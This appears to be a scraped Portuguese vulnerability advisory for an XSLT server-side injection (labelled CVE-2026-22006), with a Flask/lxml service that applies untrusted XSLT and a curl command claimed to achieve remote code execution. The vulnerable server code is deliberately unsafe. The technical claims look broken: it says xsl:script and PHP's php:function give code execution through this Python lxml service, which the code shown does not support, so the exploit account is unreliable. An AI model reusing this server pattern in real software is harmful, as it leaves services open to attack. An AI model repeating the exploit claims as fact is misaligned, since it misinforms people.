CVE-2026-22006 – Injeção no Lado do Servidor em XSLT via xsl:script

Código do Programa (Python + XSLT)

# xslt_server.py - Applies user-supplied XSLT to XML
from lxml import etree
from flask import Flask, request

app = Flask(__name__)
@app.route('/transform', methods=['POST'])
def transform():
    xml = request.form['xml']
    xslt = request.form['xslt']
    xml_doc = etree.fromstring(xml.encode())
    xslt_doc = etree.fromstring(xslt.encode())
    transform = etree.XSLT(xslt_doc)
    result = transform(xml_doc)
    return str(result)

if __name__ == '__main__':
    app.run(port=5000)

CVE-2026-22006 – Injeção no Lado do Servidor em XSLT via xsl:script

Visão Geral

Um serviço de transformação de XML aceita folhas de estilo XSLT não confiáveis e as aplica sem desabilitar as extensões de script. Um atacante pode incorporar xsl:script ou funções específicas do processador (por exemplo, php:function do PHP) para executar código arbitrário no servidor.

Detalhes da Vulnerabilidade

• Tipo: Injeção de Código
• Impacto: Execução Remota de Código.
• Causa Raiz: O processador XSLT está configurado com funções de extensão habilitadas, permitindo chamadas diretas a comandos do sistema.

Demonstração do Exploit

1. Inicie o servidor:
   root@kitploit:~

   pip install flask lxml
   python xslt_server.py
   

2. Envie um XSLT malicioso com o XML:
   root@kitploit:~

   curl -X POST -d "xml=<root/>" --data-urlencode "[email protected]" http://localhost:5000/transform
   

O servidor retorna a saída de id.